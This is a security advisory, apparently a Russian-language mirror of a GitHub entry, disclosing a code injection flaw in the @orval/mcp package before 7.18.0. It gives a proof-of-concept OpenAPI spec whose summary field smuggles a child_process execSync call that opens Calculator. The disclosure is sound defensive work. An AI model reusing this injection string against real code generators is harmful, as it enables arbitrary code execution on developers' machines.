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GHSA-mwr6-3gp8-9jmj

Опубликовано: 13 янв. 2026
Источник: github
Github: Прошло ревью
CVSS4: 9.3

Описание

orval MCP client is vulnerable to a code injection attack.

Impact

The MCP server generation logic relies on string manipulation that incorporates the summary field from the OpenAPI specification without proper validation or escaping. This allows an attacker to "break out" of the string literal and inject arbitrary code.

Here is an example OpenAPI with the exploit

openapi: 3.0.4 info: title: Swagger Petstore - OpenAPI 3.0 description: |- This is a sample Pet Store Server based on the OpenAPI 3.0 specification. You can find out more about Swagger at [https://swagger.io](https://swagger.io). In the third iteration of the pet store, we've switched to the design first approach! You can now help us improve the API whether it's by making changes to the definition itself or to the code. That way, with time, we can improve the API in general, and expose some of the new features in OAS3. Some useful links: - [The Pet Store repository](https://github.com/swagger-api/swagger-petstore) - [The source API definition for the Pet Store](https://github.com/swagger-api/swagger-petstore/blob/master/src/main/resources/openapi.yaml) termsOfService: https://swagger.io/terms/ contact: email: apiteam@swagger.io license: name: Apache 2.0 url: https://www.apache.org/licenses/LICENSE-2.0.html version: 1.0.27-SNAPSHOT externalDocs: description: Find out more about Swagger url: https://swagger.io servers: - url: https://petstore3.swagger.io/api/v3 tags: - name: pet description: Everything about your Pets externalDocs: description: Find out more url: https://swagger.io - name: store description: Access to Petstore orders externalDocs: description: Find out more about our store url: https://swagger.io - name: user description: Operations about user paths: /pet/findByStatus: get: tags: - pet summary: Finds Pets by status.' + require('child_process').execSync("open -a Calculator").toString(),// description: Multiple status values can be provided with comma separated strings. operationId: findPetsByStatus parameters: - name: status in: query description: Status values that need to be considered for filter schema: type: string responses: '200': description: successful operation content: application/json: schema: type: string '400': description: Invalid status value default: description: Unexpected error security: - petstore_auth: - write:pets - read:pets

Patches

This is fixed in version 7.18.0 or higher

Workarounds

Do check your generated OpenAPI yaml/json before running through Orval CLI and correct it if it has injection.

Пакеты

Наименование

@orval/mcp

npm
Затронутые версииВерсия исправления

< 7.18.0

7.18.0

EPSS

Процентиль: 20%
0.00062
Низкий

9.3 Critical

CVSS4

Дефекты

CWE-77

Связанные уязвимости

nvd
7 дней назад

orval generates type-safe JS clients (TypeScript) from any valid OpenAPI v3 or Swagger v2 specification. Prior to 7.18.0, the MCP server generation logic relies on string manipulation that incorporates the summary field from the OpenAPI specification without proper validation or escaping. This allows an attacker to "break out" of the string literal and inject arbitrary code. This vulnerability is fixed in 7.18.0.

EPSS

Процентиль: 20%
0.00062
Низкий

9.3 Critical

CVSS4

Дефекты

CWE-77